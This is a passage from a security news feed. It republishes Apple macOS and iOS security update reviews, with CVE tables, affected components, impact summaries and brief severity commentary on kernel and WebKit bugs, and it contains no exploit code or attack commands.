    <td>StorageKit</td>
    <td>An app may be able to gain root privileges</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28924" target="_blank">CVE-2026-28924</a></td>
    <td>Sync Services</td>
    <td>An app may be able to access Contacts without user consent</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-39871" target="_blank">CVE-2026-39871</a></td>
    <td>TV App</td>
    <td>An app may be able to observe unprotected user data</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28976" target="_blank">CVE-2026-28976</a></td>
    <td>UserAccountUpdater</td>
    <td>An app may be able to gain root privileges</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43660" target="_blank">CVE-2026-43660</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may prevent Content Security Policy from being enforced</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28907" target="_blank">CVE-2026-28907</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may prevent Content Security Policy from being enforced</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28962" target="_blank">CVE-2026-28962</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may disclose sensitive user information</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43658" target="_blank">CVE-2026-43658</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28905" target="_blank">CVE-2026-28905</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><img title="Reported through Zero Day Initiative" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyMTAgMTY3Ij4KICA8IS0tIEhvcm5zIC0tPgogIDxwYXRoIGQ9Ik04NSA0IFE3NCA2IDcyIDE4IEw4MCAyMCBRNzkgMTIgODcgOFoiIGZpbGw9IiMxQjJBNEEiLz4KICA8cGF0aCBkPSJNMTI1IDQgUTEzNiA2IDEzOCAxOCBMMTMwIDIwIFExMzEgMTIgMTIzIDhaIiBmaWxsPSIjMUIyQTRBIi8+CiAgPCEtLSBIZWFkIC0tPgogIDxlbGxpcHNlIGN4PSIxMDUiIGN5PSIyMiIgcng9IjE4IiByeT0iMTIiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIExlZnQgdXBwZXIgYXJtIC0tPgogIDxwYXRoIGQ9Ik03MiAzMCBMNTggNDQgTDYzIDQ4IEw3OCAzNVoiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIFJpZ2h0IHVwcGVyIGFybSAtLT4KICA8cGF0aCBkPSJNMTM4IDMwIEwxNTIgNDQgTDE0NyA0OCBMMTMyIDM1WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gWWVsbG93IGJvd3RpZSBsZWZ0IC0tPgogIDxwYXRoIGQ9Ik03NiAzOCBROTAgMzIgMTA1IDM4IFE5MCA0NCA3NiAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIFllbGxvdyBib3d0aWUgcmlnaHQgLS0+CiAgPHBhdGggZD0iTTEzNCAzOCBRMTIwIDMyIDEwNSAzOCBRMTIwIDQ0IDEzNCAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIEJsdWUgY2hlc3QgLS0+CiAgPGVsbGlwc2UgY3g9IjEwNSIgY3k9IjQ2IiByeD0iMTQiIHJ5PSIxMCIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSBsZWZ0IHdpbmcgLS0+CiAgPHBhdGggZD0iTTkxIDU0IFE2MCA1OCAxOCA3NSBRMTAgNjggMTQgNjIgUTUwIDUyIDkxIDU0WiIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSByaWdodCB3aW5nIC0tPgogIDxwYXRoIGQ9Ik0xMTkgNTQgUTE1MCA1OCAxOTIgNzUgUTIwMCA2OCAxOTYgNjIgUTE2MCA1MiAxMTkgNTRaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBHb2xkIGxlZnQgd2luZ3RpcCAtLT4KICA8cGF0aCBkPSJNMTQgNjIgUTQgNjIgMTAgNTQgUTE2IDU4IDE4IDc1WiIgZmlsbD0iI0Y1QjgwMCIvPgogIDwhLS0gR29sZCByaWdodCB3aW5ndGlwIC0tPgogIDxwYXRoIGQ9Ik0xOTYgNjIgUTIwNiA2MiAyMDAgNTQgUTE5NCA1OCAxOTIgNzVaIiBmaWxsPSIjRjVCODAwIi8+CiAgPCEtLSBMb3dlciBib2R5IGxlZnQgc3RydXQgLS0+CiAgPHBhdGggZD0iTTkwIDYyIEw3NiA4NiBMODQgOTAgTDk3IDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gTG93ZXIgYm9keSByaWdodCBzdHJ1dCAtLT4KICA8cGF0aCBkPSJNMTIwIDYyIEwxMzQgODYgTDEyNiA5MCBMMTEzIDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gQmx1ZSB0ZWFyZHJvcCBhYmRvbWVuIC0tPgogIDxwYXRoIGQ9Ik0xMDUgNjggUTExOCA4MiAxMDUgMTA4IFE5MiA4MiAxMDUgNjhaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBMZWZ0IGxvd2VyIGxlZyAtLT4KICA8cGF0aCBkPSJNODAgMTAwIEw2MCAxMTIgTDYyIDExOCBMODQgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gUmlnaHQgbG93ZXIgbGVnIC0tPgogIDxwYXRoIGQ9Ik0xMzAgMTAwIEwxNTAgMTEyIEwxNDggMTE4IEwxMjYgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgo8L3N2Zz4="><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28847" target="_blank">CVE-2026-28847</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28904" target="_blank">CVE-2026-28904</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><img title="Reported through Zero Day Initiative" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyMTAgMTY3Ij4KICA8IS0tIEhvcm5zIC0tPgogIDxwYXRoIGQ9Ik04NSA0IFE3NCA2IDcyIDE4IEw4MCAyMCBRNzkgMTIgODcgOFoiIGZpbGw9IiMxQjJBNEEiLz4KICA8cGF0aCBkPSJNMTI1IDQgUTEzNiA2IDEzOCAxOCBMMTMwIDIwIFExMzEgMTIgMTIzIDhaIiBmaWxsPSIjMUIyQTRBIi8+CiAgPCEtLSBIZWFkIC0tPgogIDxlbGxpcHNlIGN4PSIxMDUiIGN5PSIyMiIgcng9IjE4IiByeT0iMTIiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIExlZnQgdXBwZXIgYXJtIC0tPgogIDxwYXRoIGQ9Ik03MiAzMCBMNTggNDQgTDYzIDQ4IEw3OCAzNVoiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIFJpZ2h0IHVwcGVyIGFybSAtLT4KICA8cGF0aCBkPSJNMTM4IDMwIEwxNTIgNDQgTDE0NyA0OCBMMTMyIDM1WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gWWVsbG93IGJvd3RpZSBsZWZ0IC0tPgogIDxwYXRoIGQ9Ik03NiAzOCBROTAgMzIgMTA1IDM4IFE5MCA0NCA3NiAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIFllbGxvdyBib3d0aWUgcmlnaHQgLS0+CiAgPHBhdGggZD0iTTEzNCAzOCBRMTIwIDMyIDEwNSAzOCBRMTIwIDQ0IDEzNCAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIEJsdWUgY2hlc3QgLS0+CiAgPGVsbGlwc2UgY3g9IjEwNSIgY3k9IjQ2IiByeD0iMTQiIHJ5PSIxMCIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSBsZWZ0IHdpbmcgLS0+CiAgPHBhdGggZD0iTTkxIDU0IFE2MCA1OCAxOCA3NSBRMTAgNjggMTQgNjIgUTUwIDUyIDkxIDU0WiIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSByaWdodCB3aW5nIC0tPgogIDxwYXRoIGQ9Ik0xMTkgNTQgUTE1MCA1OCAxOTIgNzUgUTIwMCA2OCAxOTYgNjIgUTE2MCA1MiAxMTkgNTRaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBHb2xkIGxlZnQgd2luZ3RpcCAtLT4KICA8cGF0aCBkPSJNMTQgNjIgUTQgNjIgMTAgNTQgUTE2IDU4IDE4IDc1WiIgZmlsbD0iI0Y1QjgwMCIvPgogIDwhLS0gR29sZCByaWdodCB3aW5ndGlwIC0tPgogIDxwYXRoIGQ9Ik0xOTYgNjIgUTIwNiA2MiAyMDAgNTQgUTE5NCA1OCAxOTIgNzVaIiBmaWxsPSIjRjVCODAwIi8+CiAgPCEtLSBMb3dlciBib2R5IGxlZnQgc3RydXQgLS0+CiAgPHBhdGggZD0iTTkwIDYyIEw3NiA4NiBMODQgOTAgTDk3IDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gTG93ZXIgYm9keSByaWdodCBzdHJ1dCAtLT4KICA8cGF0aCBkPSJNMTIwIDYyIEwxMzQgODYgTDEyNiA5MCBMMTEzIDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gQmx1ZSB0ZWFyZHJvcCBhYmRvbWVuIC0tPgogIDxwYXRoIGQ9Ik0xMDUgNjggUTExOCA4MiAxMDUgMTA4IFE5MiA4MiAxMDUgNjhaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBMZWZ0IGxvd2VyIGxlZyAtLT4KICA8cGF0aCBkPSJNODAgMTAwIEw2MCAxMTIgTDYyIDExOCBMODQgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gUmlnaHQgbG93ZXIgbGVnIC0tPgogIDxwYXRoIGQ9Ik0xMzAgMTAwIEwxNTAgMTEyIEwxNDggMTE4IEwxMjYgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgo8L3N2Zz4="><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28955" target="_blank">CVE-2026-28955</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28903" target="_blank">CVE-2026-28903</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28953" target="_blank">CVE-2026-28953</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28902" target="_blank">CVE-2026-28902</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28901" target="_blank">CVE-2026-28901</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28913" target="_blank">CVE-2026-28913</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28883" target="_blank">CVE-2026-28883</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28958" target="_blank">CVE-2026-28958</a></td>
    <td>WebKit</td>
    <td>An app may be able to access sensitive user data</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28917" target="_blank">CVE-2026-28917</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28947" target="_blank">CVE-2026-28947</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28946" target="_blank">CVE-2026-28946</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28942" target="_blank">CVE-2026-28942</a></td>
    <td>WebKit</td>
    <td>Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28971" target="_blank">CVE-2026-28971</a></td>
    <td>WebKit</td>
    <td>A malicious iframe may use another website's download settings</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28944" target="_blank">CVE-2026-28944</a></td>
    <td>WebRTC</td>
    <td>Processing maliciously crafted web content may lead to an unexpected process crash</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28819" target="_blank">CVE-2026-28819</a></td>
    <td>Wi-Fi</td>
    <td>An app may be able to execute arbitrary code with kernel privileges</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28994" target="_blank">CVE-2026-28994</a></td>
    <td>Wi-Fi</td>
    <td>An attacker in a privileged network position may be able to perform denial-of-service attack using crafted Wi-Fi packets</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28914" target="_blank">CVE-2026-28914</a></td>
    <td>zip</td>
    <td>A maliciously crafted ZIP archive may bypass Gatekeeper checks</td>
    <td>Yes</td>
    <td>No</td>
    <td>No</td>
  </tr>
  <tr>
    <td><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-28920" target="_blank">CVE-2026-28920</a></td>
    <td>zlib</td>
    <td>Visiting a maliciously crafted website may leak sensitive data</td>
    <td>Yes</td>
    <td>Yes</td>
    <td>Yes</td>
  </tr>
</tbody>
</table>

<img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyMTAgMTY3Ij4KICA8IS0tIEhvcm5zIC0tPgogIDxwYXRoIGQ9Ik04NSA0IFE3NCA2IDcyIDE4IEw4MCAyMCBRNzkgMTIgODcgOFoiIGZpbGw9IiMxQjJBNEEiLz4KICA8cGF0aCBkPSJNMTI1IDQgUTEzNiA2IDEzOCAxOCBMMTMwIDIwIFExMzEgMTIgMTIzIDhaIiBmaWxsPSIjMUIyQTRBIi8+CiAgPCEtLSBIZWFkIC0tPgogIDxlbGxpcHNlIGN4PSIxMDUiIGN5PSIyMiIgcng9IjE4IiByeT0iMTIiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIExlZnQgdXBwZXIgYXJtIC0tPgogIDxwYXRoIGQ9Ik03MiAzMCBMNTggNDQgTDYzIDQ4IEw3OCAzNVoiIGZpbGw9IiMxQjJBNEEiLz4KICA8IS0tIFJpZ2h0IHVwcGVyIGFybSAtLT4KICA8cGF0aCBkPSJNMTM4IDMwIEwxNTIgNDQgTDE0NyA0OCBMMTMyIDM1WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gWWVsbG93IGJvd3RpZSBsZWZ0IC0tPgogIDxwYXRoIGQ9Ik03NiAzOCBROTAgMzIgMTA1IDM4IFE5MCA0NCA3NiAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIFllbGxvdyBib3d0aWUgcmlnaHQgLS0+CiAgPHBhdGggZD0iTTEzNCAzOCBRMTIwIDMyIDEwNSAzOCBRMTIwIDQ0IDEzNCAzOFoiIGZpbGw9IiNGNUI4MDAiLz4KICA8IS0tIEJsdWUgY2hlc3QgLS0+CiAgPGVsbGlwc2UgY3g9IjEwNSIgY3k9IjQ2IiByeD0iMTQiIHJ5PSIxMCIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSBsZWZ0IHdpbmcgLS0+CiAgPHBhdGggZD0iTTkxIDU0IFE2MCA1OCAxOCA3NSBRMTAgNjggMTQgNjIgUTUwIDUyIDkxIDU0WiIgZmlsbD0iIzNEQjdFNCIvPgogIDwhLS0gQmx1ZSByaWdodCB3aW5nIC0tPgogIDxwYXRoIGQ9Ik0xMTkgNTQgUTE1MCA1OCAxOTIgNzUgUTIwMCA2OCAxOTYgNjIgUTE2MCA1MiAxMTkgNTRaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBHb2xkIGxlZnQgd2luZ3RpcCAtLT4KICA8cGF0aCBkPSJNMTQgNjIgUTQgNjIgMTAgNTQgUTE2IDU4IDE4IDc1WiIgZmlsbD0iI0Y1QjgwMCIvPgogIDwhLS0gR29sZCByaWdodCB3aW5ndGlwIC0tPgogIDxwYXRoIGQ9Ik0xOTYgNjIgUTIwNiA2MiAyMDAgNTQgUTE5NCA1OCAxOTIgNzVaIiBmaWxsPSIjRjVCODAwIi8+CiAgPCEtLSBMb3dlciBib2R5IGxlZnQgc3RydXQgLS0+CiAgPHBhdGggZD0iTTkwIDYyIEw3NiA4NiBMODQgOTAgTDk3IDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gTG93ZXIgYm9keSByaWdodCBzdHJ1dCAtLT4KICA8cGF0aCBkPSJNMTIwIDYyIEwxMzQgODYgTDEyNiA5MCBMMTEzIDY2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gQmx1ZSB0ZWFyZHJvcCBhYmRvbWVuIC0tPgogIDxwYXRoIGQ9Ik0xMDUgNjggUTExOCA4MiAxMDUgMTA4IFE5MiA4MiAxMDUgNjhaIiBmaWxsPSIjM0RCN0U0Ii8+CiAgPCEtLSBMZWZ0IGxvd2VyIGxlZyAtLT4KICA8cGF0aCBkPSJNODAgMTAwIEw2MCAxMTIgTDYyIDExOCBMODQgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgogIDwhLS0gUmlnaHQgbG93ZXIgbGVnIC0tPgogIDxwYXRoIGQ9Ik0xMzAgMTAwIEwxNTAgMTEyIEwxNDggMTE4IEwxMjYgMTA2WiIgZmlsbD0iIzFCMkE0QSIvPgo8L3N2Zz4="><span>CVEs marked with the scarab logo were reported through the <strong>TrendAI Zero Day Initiative</strong> program.</span>


  
  









  <p class="">We’ll continue these macOS updates if people find them useful. Stay tuned for the regularly schedule Patch Tuesday blog covering Adobe and Microsoft. </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The June 2026 Apple Security Update Review]]></title>
<description><![CDATA[We’re back with our look at the Apple macOS and iOS security updates. As this is a new feature for us, please let us know your feedback on the blog. For Jun 2026, Apple released 37 unique CVEs across iOS 26.5.2 / iPadOS 26.5.2, macOS Tahoe 26.5.2, Safari 26.5.2. Since Apple doesn’t provide CVSS s...]]></description>
<link>https://tsecurity.de/de/3694562/hacking/the-june-2026-apple-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694562/hacking/the-june-2026-apple-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:52 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">We’re back with our look at the Apple macOS and iOS security updates. As this is a new feature for us, please let us know your feedback on the blog. </p><p class="">For Jun 2026, Apple released 37 unique CVEs across iOS 26.5.2 / iPadOS 26.5.2, macOS Tahoe 26.5.2, Safari 26.5.2. Since Apple doesn’t provide CVSS scores or other severity information, we’re left to speculate on which of these bugs is the most severe. The overwhelming majority (31 of 37) are WebKit/WebRTC bugs reachable through malicious web content. Most of those are crash/DoS bugs rather than code execution, so the real risk lives in the small set of kernel bugs and the handful of WebKit sandbox escapes. However, there are a couple that stand out.</p><p class="">-    <strong>CVE-2026-43724 (Kernel)</strong> – According to Apple, “An app may be able to cause unexpected system termination or write kernel memory.” A kernel memory write is the highest-value primitive here: it's the privilege-escalation half of a full exploit chain and leads to complete device control. The bug was credited to Hyunwoo Kim (@v4bel), who is known to be a serious kernel researcher. </p><p class="">-    <strong>CVE-2026-39868 (Kernel)</strong> – Another kernel bug, this one could “cause unexpected system termination or corrupt kernel memory.” This is kernel memory corruption, and notably credited to a roster of elite offensive researchers (STAR Labs, Positive Technologies, Baidu Security). This kind of attribution usually signals a weaponizable, possibly Pwn2Own-grade bug rather than a theoretical crash.</p><p class="">-    <strong>CVE-2026-43725 / CVE-2026-43701 (WebKit)</strong> – Apple states these bugs could allow a website to process restricted web content outside the sandbox. I'm flagging this sandbox-escape pair over the many WebKit crash bugs because a sandbox escape is the bridge that turns a web-content bug into a path toward the kernel issues above. It's the most dangerous remotely-triggered class in the release.</p><p class="">Here’s a look at all the bugs released by Apple this month:</p>





















  
  




  


  
    




<title>Apple Security Update – June 29, 2026</title>



  
    
      <span class="num">37</span><span class="lbl">Total CVEs</span>
      <span class="num">22</span><span class="lbl">Denial of Service</span>
      <span class="num">7</span><span class="lbl">Information Disclosure</span>
      <span class="num">3</span><span class="lbl">Memory Corruption</span>
      <span class="num">2</span><span class="lbl">Elevation of Privilege</span>
      <span class="num">2</span><span class="lbl">Sandbox Escape</span>
      <span class="num">1</span><span class="lbl">Spoofing</span>
    

    <table>
      <caption>Apple security release — June 29, 2026. "Yes/No" indicates whether each update is affected. CVE IDs link to NVD.</caption>
      <thead>
        <tr>
          <th>CVE ID</th>
          <th>Component</th>
          <th>Impact</th>
          <th class="center">iOS 26.5.2 / iPadOS 26.5.2</th>
          <th class="center">macOS Tahoe 26.5.2</th>
          <th class="center">Safari 26.5.2</th>
        </tr>
      </thead>
      <tbody>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43743" target="_blank" rel="noopener">CVE-2026-43743</a></td>
        <td>IOGPUFamily</td>
        <td class="impact">An app may be able to cause unexpected system termination</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="no">No</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-39868" target="_blank" rel="noopener">CVE-2026-39868</a></td>
        <td>Kernel</td>
        <td class="impact">An app may be able to cause unexpected system termination or corrupt kernel memory</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="no">No</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43722" target="_blank" rel="noopener">CVE-2026-43722</a></td>
        <td>Kernel</td>
        <td class="impact">An app may be able to leak sensitive kernel state</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="no">No</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43724" target="_blank" rel="noopener">CVE-2026-43724</a></td>
        <td>Kernel</td>
        <td class="impact">An app may be able to cause unexpected system termination or write kernel memory</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="no">No</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43703" target="_blank" rel="noopener">CVE-2026-43703</a></td>
        <td>libxslt</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="no">No</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43706" target="_blank" rel="noopener">CVE-2026-43706</a></td>
        <td>libxslt</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="no">No</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43704" target="_blank" rel="noopener">CVE-2026-43704</a></td>
        <td>Web Extensions</td>
        <td class="impact">A malicious web extension may be able to cause an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-39872" target="_blank" rel="noopener">CVE-2026-39872</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43663" target="_blank" rel="noopener">CVE-2026-43663</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43676" target="_blank" rel="noopener">CVE-2026-43676</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected Safari crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43699" target="_blank" rel="noopener">CVE-2026-43699</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43700" target="_blank" rel="noopener">CVE-2026-43700</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may disclose sensitive user information</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43701" target="_blank" rel="noopener">CVE-2026-43701</a></td>
        <td>WebKit</td>
        <td class="impact">A malicious website may be able to process restricted web content outside the sandbox</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43705" target="_blank" rel="noopener">CVE-2026-43705</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to memory corruption</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43707" target="_blank" rel="noopener">CVE-2026-43707</a></td>
        <td>WebKit</td>
        <td class="impact">Processing maliciously crafted web content may lead to an unexpected process crash</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
        <td class="cve"><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-43708" target="_blank" rel="noopener">CVE-2026-43708</a></td>
        <td>WebKit</td>
        <td class="impact">A malicious website may exfiltrate data cross-origin</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
        <td class="yes">Yes</td>
      </tr>
      <tr>
